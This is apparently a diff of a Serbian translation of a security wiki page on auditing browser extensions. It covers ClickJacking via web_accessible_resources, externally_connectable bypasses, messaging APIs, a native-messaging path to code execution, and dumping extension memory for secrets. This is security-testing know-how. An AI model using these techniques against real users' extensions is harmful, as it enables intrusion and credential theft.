||||||
|
|
||||||
Međutim, ako se koristi parametar `manifest.json` **`use_dynamic_url`**, ovaj **id može biti dinamičan**.
|
Although, if the `manifest.json` parameter **`use_dynamic_url`** is used, this **id can be dynamic**.
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Imajte na umu da čak i ako je stranica ovde pomenuta, može biti **zaštićena od ClickJacking** zahvaljujući **Content Security Policy**. Takođe treba da proverite (odeljak frame-ancestors) pre nego što potvrdite da je ClickJacking napad moguć.
|
> Imajte na umu da čak i ako je neka stranica ovde pomenuta, ona može biti **zaštićena protiv ClickJacking** zahvaljujući **Content Security Policy**. Zato je potrebno proveriti i to (frame-ancestors section) pre nego što potvrdite da je ClickJacking napad moguć.
|
||||||
|
|
||||||
|
Being allowed to access these pages make these pages **potentially vulnerable ClickJacking**:
|
||||||
|
|
||||||
Dozvola za pristup ovim stranicama čini ih **potencijalno ranjivim na ClickJacking**:
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
browext-clickjacking.md
|
browext-clickjacking.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Dozvoljavanje da se ove stranice učitavaju samo putem ekstenzije, a ne putem nasumičnih URL-ova moglo bi sprečiti ClickJacking napade.
|
> Dozvoljavanje da se ove stranice učitavaju samo od strane ekstenzije, a ne sa nasumičnih URL-ova, može sprečiti ClickJacking napade.
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> Imajte na umu da stranice iz **`web_accessible_resources`** i druge stranice ekstenzije takođe mogu **kontaktirati pozadinske skripte**. Dakle, ako je jedna od ovih stranica ranjiva na **XSS**, to bi moglo otvoriti veću ranjivost.
|
> Imajte na umu da stranice iz **`web_accessible_resources`** i druge stranice ekstenzije takođe mogu da **kontaktiraju background scripts**. Dakle, ako je jedna od ovih stranica ranjiva na **XSS**, to može otvoriti veću ranjivost.
|
||||||
>
|
>
|
||||||
> Pored toga, imajte na umu da možete otvoriti samo stranice navedene u **`web_accessible_resources`** unutar iframe-ova, ali iz nove kartice je moguće pristupiti bilo kojoj stranici u ekstenziji poznavajući ID ekstenzije. Stoga, ako se pronađe XSS koji zloupotrebljava iste parametre, može se zloupotrebljavati čak i ako stranica nije konfigurisana u **`web_accessible_resources`**.
|
> Štaviše, napomena da možete otvoriti samo stranice navedene u **`web_accessible_resources`** unutar iframe-ova, ali iz novog taba je moguće pristupiti bilo kojoj stranici u ekstenziji znajući extension ID. Dakle, ako se pronađe XSS koji zloupotrebljava iste parametre, mogao bi se iskoristiti čak i ako stranica nije konfigurirana u **`web_accessible_resources`**.
|
||||||
|
|
||||||
### `externally_connectable`
|
### `externally_connectable`
|
||||||
|
|
||||||
Prema [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), `"externally_connectable"` manifest svojstvo deklarira **koje ekstenzije i web stranice mogu da se povežu** sa vašom ekstenzijom putem [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) i [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
|
A per the [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), The `"externally_connectable"` manifest property declares **which extensions and web pages can connect** to your extension via [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) and [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
|
||||||
|
|
||||||
- Ako **`externally_connectable`** ključ **nije** deklarisan u manifestu vaše ekstenzije ili je deklarisan kao **`"ids": ["*"]`**, **sve ekstenzije mogu da se povežu, ali nijedna web stranica ne može da se poveže**.
|
- If the **`externally_connectable`** key is **not** declared in your extension's manifest or it's declared as **`"ids": ["*"]`**, **all extensions can connect, but no web pages can connect**.
|
||||||
- Ako su **specifični ID-ovi navedeni**, kao u `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **samo te aplikacije** mogu da se povežu.
|
- If **specific IDs are specified**, like in `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **only those applications** can connect.
|
||||||
- Ako su **matches** navedeni, te web aplikacije će moći da se povežu:
|
- If **matches** are specified, those web apps will be able to connect:
|
||||||
```json
|
```json
|
||||||
"matches": [
|
"matches": [
|
||||||
"https://*.google.com/*",
|
"https://*.google.com/*",
|
||||||
"*://*.chromium.org/*",
|
"*://*.chromium.org/*",
|
||||||
```
|
```
|
||||||
- Ako je navedeno kao prazno: **`"externally_connectable": {}`**, nijedna aplikacija ili veb neće moći da se poveže.
|
- If it's specified as empty: **`"externally_connectable": {}`**, nijedan app ili web neće moći da se poveže.
|
||||||
|
|
||||||
Što je **manje ekstenzija i URL-ova** ovde navedeno, to će biti **manja površina napada**.
|
Što je manje **extensions i URLs** ovde navedeno, to će površina napada biti manja.
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> Ako je veb stranica **ranjiva na XSS ili preuzimanje** navedena u **`externally_connectable`**, napadač će moći da **pošalje poruke direktno u pozadinski skript**, potpuno zaobilazeći Content Script i njegov CSP.
|
> Ako je na strani naveden web page **vulnerable to XSS or takeover** u **`externally_connectable`**, napadač će moći da **send messages directly to the background script**, potpuno zaobišavši Content Script i njegov CSP.
|
||||||
>
|
>
|
||||||
> Stoga, ovo je **veoma moćan zaobilazni način**.
|
> Dakle, ovo je **veoma jak bypass**.
|
||||||
>
|
>
|
||||||
> Štaviše, ako klijent instalira lažnu ekstenziju, čak i ako nije dozvoljeno da komunicira sa ranjivom ekstenzijom, mogla bi da ubrizga **XSS podatke u dozvoljenu veb stranicu** ili zloupotrebi **`WebRequest`** ili **`DeclarativeNetRequest`** API-je da manipuliše zahtevima na ciljanom domenu menjajući zahtev stranice za **JavaScript datoteku**. (Imajte na umu da CSP na ciljnoj stranici može sprečiti ove napade). Ova ideja dolazi [**iz ovog izveštaja**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
|
> Štaviše, ako klijent instalira zlonamerni extension, čak i ako mu nije dozvoljeno da komunicira sa ranjivim extension-om, mogao bi da injektuje **XSS data in an allowed web page** ili da zloupotrebi **`WebRequest`** ili **`DeclarativeNetRequest`** API-je da manipuliše request-ovima na ciljanom domenu menjajući zahtev stranice za **JavaScript file**. (Imajte na umu da CSP na ciljanoj stranici može da spreči ove napade). Ova ideja dolazi [**from this writeup**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
|
||||||
|
|
||||||
## Sažetak komunikacije
|
## Communication summary
|
||||||
|
|
||||||
### Ekstenzija <--> WebApp
|
### Extension <--> WebApp
|
||||||
|
|
||||||
Za komunikaciju između content skripta i veb stranice obično se koriste post poruke. Stoga, u veb aplikaciji obično ćete naći pozive funkciji **`window.postMessage`** i u content skriptu slušaoce poput **`window.addEventListener`**. Imajte na umu, međutim, da ekstenzija takođe može **komunicirati sa veb aplikacijom slanjem Post Poruke** (i stoga bi veb trebao to očekivati) ili jednostavno učiniti da veb učita novi skript.
|
Za komunikaciju između content script-a i web stranice obično se koriste post messages. Zato ćete u web aplikaciji obično naći pozive funkciji **`window.postMessage`** i u content script-u listenere kao **`window.addEventListener`**. Ipak, treba napomenuti da extension takođe može **communicate with the web application sending a Post Message** (i samim tim web treba da to očekuje) ili jednostavno naterati web da učita novi script.
|
||||||
|
|
||||||
### Unutar ekstenzije
|
### Inside the extension
|
||||||
|
|
||||||
Obično se funkcija **`chrome.runtime.sendMessage`** koristi za slanje poruke unutar ekstenzije (obično obrađuje `background` skript) i da bi je primila i obradila, deklarisan je slušalac koji poziva **`chrome.runtime.onMessage.addListener`**.
|
Obično se funkcija **`chrome.runtime.sendMessage`** koristi za slanje poruke unutar extension-a (obično obrađuje `background` script) i da bi se primila i obradila, deklariše se listener pozivom **`chrome.runtime.onMessage.addListener`**.
|
||||||
|
|
||||||
Takođe je moguće koristiti **`chrome.runtime.connect()`** da se uspostavi postojana veza umesto slanja pojedinačnih poruka, moguće je koristiti je za **slanje** i **prijem** **poruka** kao u sledećem primeru:
|
Takođe je moguće koristiti **`chrome.runtime.connect()`** da se uspostavi persistent connection umesto slanja pojedinačnih poruka; moguće ga je koristiti za **send** i **receive** **messages** kao u sledećem primeru:
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><code>chrome.runtime.connect()</code> primer</summary>
|
<summary><code>chrome.runtime.connect()</code> example</summary>
|
||||||
```javascript
|
```javascript
|
||||||
var port = chrome.runtime.connect()
|
var port = chrome.runtime.connect()
|
||||||
|
|
||||||
@ -390,19 +424,19 @@ console.log("Content script received message from background script:", msg)
|
|||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
Takođe je moguće slati poruke iz pozadinskog skripta u sadržajni skript smešten u određenoj kartici pozivajući **`chrome.tabs.sendMessage`** gde ćete morati da navedete **ID kartice** kojoj šaljete poruku.
|
Takođe je moguće slati poruke iz background skripta do content skripta koji se nalazi u određenom tab-u pozivanjem **`chrome.tabs.sendMessage`**, gde ćete morati da navedete **ID of the tab** kome se poruka šalje.
|
||||||
|
|
||||||
### Od dozvoljenih `externally_connectable` do ekstenzije
|
### Iz dozvoljenih `externally_connectable` ka ekstenziji
|
||||||
|
|
||||||
**Web aplikacije i eksternalni pregledački dodaci koji su dozvoljeni** u `externally_connectable` konfiguraciji mogu slati zahteve koristeći :
|
**Web aplikacije i eksterni browser extensions koji su dozvoljeni** u konfiguraciji `externally_connectable` mogu slati zahteve koristeći :
|
||||||
```javascript
|
```javascript
|
||||||
chrome.runtime.sendMessage(extensionId, ...
|
chrome.runtime.sendMessage(extensionId, ...
|
||||||
```
|
```
|
||||||
Gde je potrebno pomenuti **ID ekstenzije**.
|
Gde je potrebno pomenuti **extension ID**.
|
||||||
|
|
||||||
### Native Messaging
|
### Native Messaging
|
||||||
|
|
||||||
Moguće je da skripte u pozadini komuniciraju sa binarnim datotekama unutar sistema, koje mogu biti **podložne kritičnim ranjivostima kao što su RCE** ako ova komunikacija nije pravilno obezbeđena. [Više o tome kasnije](#native-messaging).
|
Moguće je da background scripts komuniciraju sa binaries u sistemu, što može dovesti do **kritičnih ranjivosti kao što su RCEs** ako ova komunikacija nije pravilno osigurana. [Više o tome kasnije](#native-messaging).
|
||||||
```javascript
|
```javascript
|
||||||
chrome.runtime.sendNativeMessage(
|
chrome.runtime.sendNativeMessage(
|
||||||
"com.my_company.my_application",
|
"com.my_company.my_application",
|
||||||
@ -412,11 +446,11 @@ console.log("Received " + response)
|
|||||||
}
|
}
|
||||||
)
|
)
|
||||||
```
|
```
|
||||||
## Web **↔︎** Komunikacija između sadržajnih skripti
|
## Web **↔︎** Content Script komunikacija
|
||||||
|
|
||||||
Okruženja u kojima **sadržajne skripte** funkcionišu i gde postoje host stranice su **odvojena** jedno od drugog, obezbeđujući **izolaciju**. I pored ove izolacije, oba imaju sposobnost da interaguju sa **Modelom objekta dokumenta (DOM)** stranice, zajedničkim resursom. Da bi host stranica mogla da komunicira sa **sadržajnom skriptom**, ili indirektno sa ekstenzijom putem sadržajne skripte, potrebno je koristiti **DOM** koji je dostupan obe strane kao komunikacioni kanal.
|
Okruženja u kojima rade **content scripts** i u kojima postoje host stranice su **odvojena** jedno od drugog, obezbeđujući **izolaciju**. Uprkos toj izolaciji, oba imaju mogućnost interakcije sa **Document Object Model (DOM)** stranice, koji je zajednički resurs. Da bi host stranica ostvarila komunikaciju sa **content script**, ili indirektno sa ekstenzijom preko **content script**, potrebno je koristiti **DOM** koji je dostupan obema stranama kao kanal komunikacije.
|
||||||
|
|
||||||
### Post poruke
|
### Post Messages
|
||||||
```javascript:content-script.js
|
```javascript:content-script.js
|
||||||
// This is like "chrome.runtime.sendMessage" but to maintain the connection
|
// This is like "chrome.runtime.sendMessage" but to maintain the connection
|
||||||
var port = chrome.runtime.connect()
|
var port = chrome.runtime.connect()
|
||||||
@ -451,15 +485,16 @@ window.postMessage(
|
|||||||
false
|
false
|
||||||
)
|
)
|
||||||
```
|
```
|
||||||
Sigurna Post Message komunikacija treba da proveri autentičnost primljene poruke, što se može uraditi proverom:
|
Sigurna Post Message komunikacija treba da proveri autentičnost primljene poruke; to se može uraditi proverom:
|
||||||
|
|
||||||
- **`event.isTrusted`**: Ovo je Tačno samo ako je događaj pokrenut akcijom korisnika
|
- **`event.isTrusted`**: Ovo je True samo ako je događaj pokrenut akcijom korisnika
|
||||||
- Sadržajni skript može očekivati poruku samo ako korisnik izvrši neku akciju
|
- content script može očekivati poruku samo ako korisnik izvrši neku radnju
|
||||||
- **origin domain**: može očekivati poruku samo sa dozvoljene liste domena.
|
- **origin domain**: može očekivati poruku samo sa dozvoljene liste domena.
|
||||||
- Ako se koristi regex, budite veoma oprezni
|
- Ako se koristi regex, budite veoma oprezni
|
||||||
- **Source**: `received_message.source !== window` može se koristiti za proveru da li je poruka **iz iste prozora** gde sadržajni skript sluša.
|
- **Source**: `received_message.source !== window` možete koristiti da proverite da li je poruka **iz istog prozora** u kome Content Script osluškuje.
|
||||||
|
|
||||||
|
Prethodne provere, čak i ako su izvršene, mogu biti ranjive, zato proverite na sledećoj stranici **potencijalne Post Message bypasses**:
|
||||||
|
|
||||||
Prethodne provere, čak i ako su izvršene, mogu biti ranjive, pa proverite na sledećoj stranici **potencijalne Post Message zaobilaženja**:
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../postmessage-vulnerabilities/
|
../postmessage-vulnerabilities/
|
||||||
@ -467,7 +502,8 @@ Prethodne provere, čak i ako su izvršene, mogu biti ranjive, pa proverite na s
|
|||||||
|
|
||||||
### Iframe
|
### Iframe
|
||||||
|
|
||||||
Još jedan mogući način komunikacije može biti kroz **Iframe URL-ove**, možete pronaći primer u:
|
Još jedan mogući način komunikacije može biti preko **Iframe URLs**, primer možete naći u:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
browext-xss-example.md
|
browext-xss-example.md
|
||||||
@ -475,21 +511,22 @@ browext-xss-example.md
|
|||||||
|
|
||||||
### DOM
|
### DOM
|
||||||
|
|
||||||
Ovo nije "tačno" način komunikacije, ali **web i sadržajni skript će imati pristup web DOM-u**. Dakle, ako **sadržajni skript** čita neke informacije iz njega, **verujući web DOM-u**, web bi mogao **modifikovati ove podatke** (jer web ne bi trebao biti poveren, ili zato što je web ranjiv na XSS) i **kompromitovati Sadržajni Skript**.
|
Ovo nije "tačno" način komunikacije, ali **web i content script će imati pristup web DOM-u**. Dakle, ako **content script** čita neke informacije iz njega, **verujući web DOM-u**, web može **izmeniti ove podatke** (jer webu se ne treba verovati, ili zato što je web ranjiv na XSS) i **kompromitovati Content Script**.
|
||||||
|
|
||||||
|
Takođe možete naći primer **DOM based XSS to compromise a browser extension** u:
|
||||||
|
|
||||||
Takođe možete pronaći primer **DOM baziranog XSS-a za kompromitovanje ekstenzije pretraživača** u:
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
browext-xss-example.md
|
browext-xss-example.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
## Komunikacija Sadržajnog Skripta **↔︎** Pozadinskog Skripta
|
## Komunikacija Content Script **↔︎** Background Script
|
||||||
|
|
||||||
Sadržajni Skript može koristiti funkcije [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **ili** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) za slanje **jednokratne JSON-serializovane** poruke.
|
Content Script može koristiti funkcije [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **ili** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) da pošalje **one-time JSON-serializable** poruku.
|
||||||
|
|
||||||
Da biste obradili **odgovor**, koristite vraćeni **Promise**. Iako, za unazadnu kompatibilnost, još uvek možete proslediti **callback** kao poslednji argument.
|
Za rukovanje **response**, koristite vraćeni **Promise**. Ipak, radi kompatibilnosti unazad, i dalje možete proslediti **callback** kao poslednji argument.
|
||||||
|
|
||||||
Slanje zahteva iz **sadržajnog skripta** izgleda ovako:
|
Slanje zahteva iz **content script** izgleda ovako:
|
||||||
```javascript
|
```javascript
|
||||||
;(async () => {
|
;(async () => {
|
||||||
const response = await chrome.runtime.sendMessage({ greeting: "hello" })
|
const response = await chrome.runtime.sendMessage({ greeting: "hello" })
|
||||||
@ -497,7 +534,7 @@ const response = await chrome.runtime.sendMessage({ greeting: "hello" })
|
|||||||
console.log(response)
|
console.log(response)
|
||||||
})()
|
})()
|
||||||
```
|
```
|
||||||
Slanje zahteva iz **ekstenzije** (obično **pozadinskog skripta**). Primer kako poslati poruku sadržajnom skriptu u odabranom tabu:
|
Slanje zahteva iz **extension** (obično iz **background script**). Primer kako poslati poruku content script-u u izabranom tab-u:
|
||||||
```javascript
|
```javascript
|
||||||
// From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script
|
// From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script
|
||||||
;(async () => {
|
;(async () => {
|
||||||
@ -510,7 +547,7 @@ const response = await chrome.tabs.sendMessage(tab.id, { greeting: "hello" })
|
|||||||
console.log(response)
|
console.log(response)
|
||||||
})()
|
})()
|
||||||
```
|
```
|
||||||
Na **prijemnoj strani**, potrebno je postaviti [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **slušač događaja** da bi se obradila poruka. Ovo izgleda isto iz skripte sadržaja ili stranice ekstenzije.
|
Na strani koja prima, treba da postavite [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **event listener** da obradite poruku. Ovo izgleda isto u content scriptu ili na extension page-u.
|
||||||
```javascript
|
```javascript
|
||||||
// From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js
|
// From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js
|
||||||
chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
|
chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
|
||||||
@ -522,15 +559,15 @@ sender.tab
|
|||||||
if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
|
if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
|
||||||
})
|
})
|
||||||
```
|
```
|
||||||
U istaknutom primeru, **`sendResponse()`** je izvršen na sinhroni način. Da bi se modifikovao `onMessage` događaj za asinhrono izvršavanje `sendResponse()`, neophodno je uključiti `return true;`.
|
U prikazanom primeru, **`sendResponse()`** je izvršen sinhrono. Da biste izmenili `onMessage` event handler da asinhrono izvršava `sendResponse()`, neophodno je uključiti `return true;`.
|
||||||
|
|
||||||
Važna stvar koju treba uzeti u obzir je da u scenarijima gde više stranica treba da prime `onMessage` događaje, **prva stranica koja izvrši `sendResponse()`** za određeni događaj će biti jedina koja može efikasno dostaviti odgovor. Svi naredni odgovori na isti događaj neće biti uzeti u obzir.
|
Bitno je napomenuti da u scenarijima gde više stranica prima `onMessage` događaje, **prva stranica koja izvrši `sendResponse()`** za određeni događaj biće jedina koja može efikasno dostaviti odgovor. Svaki naknadni odgovor na isti događaj neće biti uzet u obzir.
|
||||||
|
|
||||||
Kada se kreiraju nove ekstenzije, prednost bi trebala biti na promenama umesto na povratnim pozivima. Što se tiče korišćenja povratnih poziva, `sendResponse()` funkcija se smatra validnom samo ako se izvršava direktno unutar sinhronog konteksta, ili ako događaj handler označava asinhronu operaciju vraćanjem `true`. Ako nijedan od handlera ne vrati `true` ili ako je `sendResponse()` funkcija uklonjena iz memorije (sakupljena smeća), povratni poziv povezan sa `sendMessage()` funkcijom će se podrazumevano aktivirati.
|
Prilikom izrade novih ekstenzija, treba davati prednost promises umesto callbacks. Što se tiče upotrebe callbacks, funkcija `sendResponse()` važi samo ako se izvrši direktno u sinhronom kontekstu, ili ako event handler označi asinhronu operaciju vraćanjem `true`. Ako nijedan od handlera ne vrati `true` ili ako je funkcija `sendResponse()` uklonjena iz memorije (garbage-collected), callback povezan sa `sendMessage()` biće po defaultu pozvan.
|
||||||
|
|
||||||
## Native Messaging
|
## Native Messaging
|
||||||
|
|
||||||
Ekstenzije pretraživača takođe omogućavaju komunikaciju sa **binarima u sistemu putem stdin**. Aplikacija mora instalirati json koji to označava u json formatu:
|
Ekstenzije pregledača takođe omogućavaju komunikaciju sa **binaries in the system via stdin**. Aplikacija mora instalirati json koji to navodi u json fajlu poput:
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"name": "com.my_company.my_application",
|
"name": "com.my_company.my_application",
|
||||||
@ -540,14 +577,14 @@ Ekstenzije pretraživača takođe omogućavaju komunikaciju sa **binarima u sist
|
|||||||
"allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"]
|
"allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"]
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Gde je `name` string koji se prosleđuje [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) ili [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) za komunikaciju sa aplikacijom iz pozadinskih skripti ekstenzije pregledača. `path` je putanja do binarnog fajla, postoji samo 1 važeći `type` koji je stdio (koristi stdin i stdout) i `allowed_origins` označava ekstenzije koje mogu da mu pristupe (i ne mogu imati wildcard).
|
Gde je `name` string koji se prosleđuje funkcijama [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) ili [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) da bi se komuniciralo sa aplikacijom iz pozadinskih skripti ekstenzije preglednika. `path` je putanja do binarnog fajla, postoji samo 1 važeći `type` koji je stdio (koristi stdin i stdout), a `allowed_origins` označavaju ekstenzije koje mogu da mu pristupe (i ne mogu imati wildcard).
|
||||||
|
|
||||||
Chrome/Chromium će tražiti ovaj json u nekim registrima sistema i nekim putanjama u macOS i Linux (više informacija u [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
|
Chrome/Chromium će tražiti ovaj json u nekim Windows registry-ima i nekim putanjama na macOS i Linuxu (više informacija u [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Ekstenzija pregledača takođe treba da ima dozvolu `nativeMessaing` deklarisanu kako bi mogla da koristi ovu komunikaciju.
|
> Ekstenzija preglednika takođe mora imati deklarisanu `nativeMessaing` permission da bi mogla da koristi ovu komunikaciju.
|
||||||
|
|
||||||
Ovako izgleda neki kod pozadinske skripte koji šalje poruke native aplikaciji:
|
Ovako izgleda kod pozadinske skripte koja šalje poruke native aplikaciji:
|
||||||
```javascript
|
```javascript
|
||||||
chrome.runtime.sendNativeMessage(
|
chrome.runtime.sendNativeMessage(
|
||||||
"com.my_company.my_application",
|
"com.my_company.my_application",
|
||||||
@ -557,144 +594,152 @@ console.log("Received " + response)
|
|||||||
}
|
}
|
||||||
)
|
)
|
||||||
```
|
```
|
||||||
U [**ovom blog postu**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/), predložen je ranjiv obrazac koji zloupotrebljava native poruke:
|
In [**ovom blog postu**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/), predložen je ranjiv obrazac koji zloupotrebljava native messages:
|
||||||
|
|
||||||
1. Ekstenzija pretraživača ima obrazac sa wildcard za sadržaj skripte.
|
1. Ekstenzija pregledača ima wildcard pattern za content script.
|
||||||
2. Sadržaj skripte prosleđuje `postMessage` poruke pozadinskoj skripti koristeći `sendMessage`.
|
2. Content script prosleđuje `postMessage` poruke background skriptu koristeći `sendMessage`.
|
||||||
3. Pozadinska skripta prosleđuje poruku native aplikaciji koristeći `sendNativeMessage`.
|
3. Background skripta prosleđuje poruku native aplikaciji koristeći `sendNativeMessage`.
|
||||||
4. Native aplikacija opasno obrađuje poruku, što dovodi do izvršenja koda.
|
4. Native aplikacija nebezbedno obrađuje poruku, što može dovesti do izvršenja koda.
|
||||||
|
|
||||||
I unutar toga objašnjen je primer **prelaska sa bilo koje stranice na RCE zloupotrebom ekstenzije pretraživača**.
|
I u okviru toga objašnjen je primer kako se sa bilo koje stranice može ostvariti RCE zloupotrebom ekstenzije pregledača.
|
||||||
|
|
||||||
## Osetljive informacije u memoriji/kodu/clipboard-u
|
## Sensitive Information in Memory/Code/Clipboard
|
||||||
|
|
||||||
Ako ekstenzija pretraživača čuva **osetljive informacije unutar svoje memorije**, to može biti **izbačeno** (posebno na Windows mašinama) i **pretraženo** za te informacije.
|
Ako ekstenzija pregledača čuva **osetljive informacije u svojoj memoriji**, one mogu biti **izvučene** (posebno na Windows mašinama) i **pretražene** u potrazi za tim podacima.
|
||||||
|
|
||||||
Stoga, memorija ekstenzije pretraživača **ne bi trebala biti smatrana sigurnom** i **osetljive informacije** kao što su akreditivi ili mnemoničke fraze **ne bi trebale biti čuvane**.
|
Stoga memorija ekstenzije pregledača **ne treba da se smatra sigurnom**, i **osetljive informacije** kao što su kredencijali ili mnemoničke fraze **ne bi trebalo da se čuvaju**.
|
||||||
|
|
||||||
Naravno, **ne stavljajte osetljive informacije u kod**, jer će to biti **javno**.
|
Naravno, nemojte **staviti osetljive informacije u kod**, jer će one biti **javno dostupne**.
|
||||||
|
|
||||||
Da biste izbacili memoriju iz pretraživača, možete **izbaciti memoriju procesa** ili da odete na **podešavanja** ekstenzije pretraživača kliknite na **`Inspect pop-up`** -> U **`Memory`** sekciji -> **`Take a snapshot`** i **`CTRL+F`** da pretražujete unutar snimka za osetljive informacije.
|
Da biste dobili memory dump iz browsera možete dumpovati memoriju procesa ili otići u podešavanja ekstenzije pregledača, kliknuti na **`Inspect pop-up`** -> u **`Memory`** sekciji -> **`Take a snaphost`** i pritisnuti **`CTRL+F`** da pretražite snapshot za osetljive informacije.
|
||||||
|
|
||||||
Štaviše, veoma osetljive informacije kao što su mnemoničke ključeve ili lozinke **ne bi trebale biti dozvoljene za kopiranje u clipboard** (ili barem ih uklonite iz clipboard-a u nekoliko sekundi) jer će tada procesi koji prate clipboard moći da ih dobiju.
|
Pored toga, izrazito osetljive informacije kao mnemonik ključevi ili lozinke **ne bi trebalo dozvoliti da se kopiraju u clipboard** (ili bar ukloniti iz clipboarda nakon nekoliko sekundi), jer će tada procesi koji nadgledaju clipboard moći da ih dobiju.
|
||||||
|
|
||||||
## Učitavanje ekstenzije u pretraživaču
|
## Loading an Extension in the Browser
|
||||||
|
|
||||||
1. **Preuzmite** ekstenziju pretraživača & raspakujte je
|
1. **Preuzmite** ekstenziju pregledača i raspakujte
|
||||||
2. Idite na **`chrome://extensions/`** i **omogućite** `Developer Mode`
|
2. Idite na **`chrome://extensions/`** i **omogućite** `Developer Mode`
|
||||||
3. Kliknite na dugme **`Load unpacked`**
|
3. Kliknite na dugme **`Load unpacked`**
|
||||||
|
|
||||||
U **Firefox-u** idete na **`about:debugging#/runtime/this-firefox`** i kliknite na dugme **`Load Temporary Add-on`**.
|
U **Firefox** odete na **`about:debugging#/runtime/this-firefox`** i kliknete na dugme **`Load Temporary Add-on`**.
|
||||||
|
|
||||||
## Dobijanje izvornog koda iz prodavnice
|
## Getting the source code from the store
|
||||||
|
|
||||||
Izvorni kod Chrome ekstenzije može se dobiti kroz različite metode. Ispod su detaljna objašnjenja i uputstva za svaku opciju.
|
Izvorni kod Chrome ekstenzije može se dobiti na više načina. Ispod su detaljna objašnjenja i uputstva za svaku opciju.
|
||||||
|
|
||||||
### Preuzimanje ekstenzije kao ZIP putem komandne linije
|
### Download Extension as ZIP via Command Line
|
||||||
|
|
||||||
Izvorni kod Chrome ekstenzije može se preuzeti kao ZIP datoteka koristeći komandnu liniju. To uključuje korišćenje `curl` za preuzimanje ZIP datoteke sa specifične URL adrese, a zatim vađenje sadržaja ZIP datoteke u direktorijum. Evo koraka:
|
Izvorni kod Chrome ekstenzije može se preuzeti kao ZIP fajl korišćenjem komandne linije. To podrazumeva korišćenje `curl` da se preuzme ZIP fajl sa specifičnog URL-a i zatim izdvoje sadržaji ZIP fajla u direktorijum. Evo koraka:
|
||||||
|
|
||||||
1. Zamenite `"extension_id"` sa stvarnim ID-jem ekstenzije.
|
1. Zamenite `"extension_id"` stvarnim ID-jem ekstenzije.
|
||||||
2. Izvršite sledeće komande:
|
2. Pokrenite sledeće komande:
|
||||||
```bash
|
```bash
|
||||||
extension_id=your_extension_id # Replace with the actual extension ID
|
extension_id=your_extension_id # Replace with the actual extension ID
|
||||||
curl -L -o "$extension_id.zip" "https://clients2.google.com/service/update2/crx?response=redirect&os=mac&arch=x86-64&nacl_arch=x86-64&prod=chromecrx&prodchannel=stable&prodversion=44.0.2403.130&x=id%3D$extension_id%26uc"
|
curl -L -o "$extension_id.zip" "https://clients2.google.com/service/update2/crx?response=redirect&os=mac&arch=x86-64&nacl_arch=x86-64&prod=chromecrx&prodchannel=stable&prodversion=44.0.2403.130&x=id%3D$extension_id%26uc"
|
||||||
unzip -d "$extension_id-source" "$extension_id.zip"
|
unzip -d "$extension_id-source" "$extension_id.zip"
|
||||||
```
|
```
|
||||||
### Koristite CRX Viewer veb sajt
|
### Koristite CRX Viewer veb-sajt
|
||||||
|
|
||||||
[https://robwu.nl/crxviewer/](https://robwu.nl/crxviewer/)
|
[https://robwu.nl/crxviewer/](https://robwu.nl/crxviewer/)
|
||||||
|
|
||||||
